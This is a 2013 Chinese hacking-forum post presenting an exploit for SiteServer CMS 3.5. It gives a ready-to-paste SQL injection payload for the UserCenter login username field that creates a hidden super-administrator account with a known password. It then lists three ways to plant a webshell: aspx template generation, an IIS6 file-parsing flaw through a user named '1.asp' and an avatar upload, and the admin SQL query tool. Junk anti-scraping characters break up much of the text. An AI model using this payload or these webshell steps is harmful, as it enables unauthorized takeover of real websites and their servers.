找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3008|回复: 0
打印 上一主题 下一主题

SiteServer CMS UserCenter/login.aspx页面用户名处sql注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:40:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
经测试秒杀最新的3.5版
  l. ~' O; R6 M8 zstieserver官网:www.siteserver.cn9 @2 q) Q# H' X$ |5 v' J9 K' v
EXP:. r% S5 s; V7 g4 B% u
直接访问UserCenter/login.aspx
+ B( r  f- I) b* Y: Y  D/ D" {# S; r4 {用户名处输入:
9 U3 u7 [. g4 S, U$ g1 m' ?6 b# {" p) W4 y: F4 J( P
123′insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values(‘blue’,'VffSUZcBPo4=’,'Encrypted’,'i7jq4LwC25wKDoqHErBWaw==’);insert into bairong_AdministratorsInRoles values(‘Administrator’,'blue’);insert into bairong_AdministratorsInRoles values(‘RegisteredUser’,'blue’);insert into bairong_AdministratorsInRoles values(‘ConsoleAdministrator’,'blue’);–
2 ~! b& D. L4 B) `. y密码为空,输入验证码后提交,既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。; k7 N* c6 d0 S8 j0 U
之后再访问后台SiteServer/login.aspx用插入的用户登陆
2 b1 |" U7 y2 ^; t后台拿webshell的三种方法:# u( b/ G( V: n/ g0 |
一、+ c1 V$ J- W7 ^- J: ]$ I
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx# `/ P- w8 }' l1 D3 W- ?) c5 N
二、* d/ c# n7 k. g4 G/ @# ^3 O, F' I$ _
成员权限-》添加用户-》用户名为:1.asp
1 C2 G) `2 X* v' |. C* fhttp://127.0.0.1/usercenter/3 v, ^5 z9 L) C% r$ p$ ^, [
用刚才添加的1.asp去登陆,进去之后上传个人头像,利用IIS6解析漏洞得webshell
" c' g$ c$ ]' u' n( w  n: j(ps:后台添加用户时不会验证是否含有非法字符)
' v* A, r+ a, F2 X7 Y: q# F三、( Q" s* J) n- d6 ^
系统工具-》实用工具-》机器参数查看
) f3 g4 s2 G3 `4 w3 Z2 J可以看到数据库类型、名称,WEB路径
* L2 f! C9 R$ H系统工具-》数据库工具-》SQL语句查询! k; `2 [3 q5 t5 ~* `& T# M+ v
这功能做的不错,直接就相当于一个查询分析器,什么回显都有,可以backup得webshell,或者利用sqlserver配置不当直接XXOO
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表